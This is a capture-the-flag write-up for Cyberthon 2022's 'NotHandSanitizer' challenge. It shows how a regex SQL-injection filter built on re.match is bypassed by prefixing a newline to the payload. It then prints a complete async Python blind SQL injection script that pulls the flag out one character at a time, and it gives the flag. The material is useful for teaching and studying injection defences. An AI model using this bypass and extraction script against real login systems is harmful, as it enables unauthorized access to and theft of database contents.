Skip to content

NotHandSanitizer™

In Cyberthon 2022, 990 points

APOCALYPSE has recently implemented a security feature called NotHandSanitizer™ to secure their member login portal.

We heard that there's a flag somewhere in their database, but we can't seem to find a working attack vector since SQL Injections seem impossible due to NotHandSanitizer™. Perhaps you could take a look for us?

Challenge files: main (3).py

Part 1: The sanitizer

The source code provided (always a good thing) is pretty similar to any regular SQLi challenge, except for a is_sqli function:

py
def is_sqli(check):  # NotHandSanitizer™ SQL Injection Sanitizer
    m = re.match(
        r".*([\[\]\{\}:\\|;?!~`@#$%^&*()_+=-]|[ ]|[']|[\"]|[<]|[>]).*",
        check,
        re.MULTILINE,
    )
    if m is not None:
        return True
    return False

If this function returns true, our payload will be rejected. At first glance, the regex seems pretty secure, matching most of the characters we would use in a SQL injection attack: "';-#. It is clear that we will have to bypass this regex to execute our payload.

However, looking into the python documentation for the re module reveals a few interesting features:

re.DOTALL
Make the '.' special character match any character at all, including a newline; without this flag, '.' will match anything except a newline. Corresponds to the inline flag (?s).

Hmm so the .* at the start of the regex matches everything except for \n.

re.match(pattern, string, flags=0)
If zero or more characters at the beginning of string match the regular expression pattern, return a corresponding match object. Return None if the string does not match the pattern; note that this is different from a zero-length match.

Note that even in MULTILINE mode, re.match() will only match at the beginning of the string and not at the beginning of each line.

If you want to locate a match anywhere in string, use search() instead (see also search() vs. match()).

Hmm so re.match only matches from the beginning of the string. Putting these two observations together, we can conclude that the regex can be trivially bypassed by prepending a newline character to the start of the payload. Thus re.match will always return None regardless of our actual payload.

Part 2: Blind SQL injection

Once we've bypassed the filter, the rest of this challenge is a fairly standard blind SQL injection. In this type of attack, there are only 2 (technically there are 3 here but it's not needed to complicate things) possible outcomes:

  1. We are logged in and get the Welcome to Apocalypse message
  2. We are not logged in and get the Login failed message

By manipulating the SQL query to make these two outcomes dependent on certain characters of the flag, we can exfiltrate the flag character by character.

We will use the SQLite substring function to extract a single character of the flag, then check it against every letter in the alphabet. This transforms the maximum number of guesses we need to execute from m^n to n*m where n is the length of the flag and m is the number of characters in our alphabet.

While this is feasible to complete by hand, it is a waste of precious time, so I wrote a script to parallelize this operation:

py
async def fetch(url, fuzz, session):
    data = aiohttp.FormData()
    data.add_field("username", "admin")
    data.add_field("password", "\n' or" +
                   f"(username='admin' and exists(select flag from flags where username='admin' and SUBSTRING(flag,{len(fuzz)},1)='{fuzz[-1]}')) ;--")
    async with session.post(url, data=data) as response:
        resp = await response.read()
        return b"Welcome" in resp


async def _search(url, charset):
    async with aiohttp.ClientSession() as session:
        negative = await fetch(url, "F", session)
        found = ""
        while True:
            tasks = []
            for char in charset:
                task = asyncio.ensure_future(fetch(url, found + char, session))
                tasks.append(task)
            responses = await asyncio.gather(*tasks)
            for i, x in enumerate(responses):
                if x != negative:
                    found += charset[i]
                    print(found[-100:])
                    break
            else:
                print("Not found")
                break


def search(url, charset=string.ascii_letters + string.digits + "{}?~$"):
    loop = asyncio.get_event_loop()
    loop.run_until_complete(_search(url, charset))


if __name__ == '__main__':
    charset = "etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ"
    search("http://chals.cyberthon22f.ctf.sg:40401/login/", charset)

Flag: Cyberthon{th15_54n1t1z3r_15_4_d15gr4c3_t0_s4n1t1z3r5}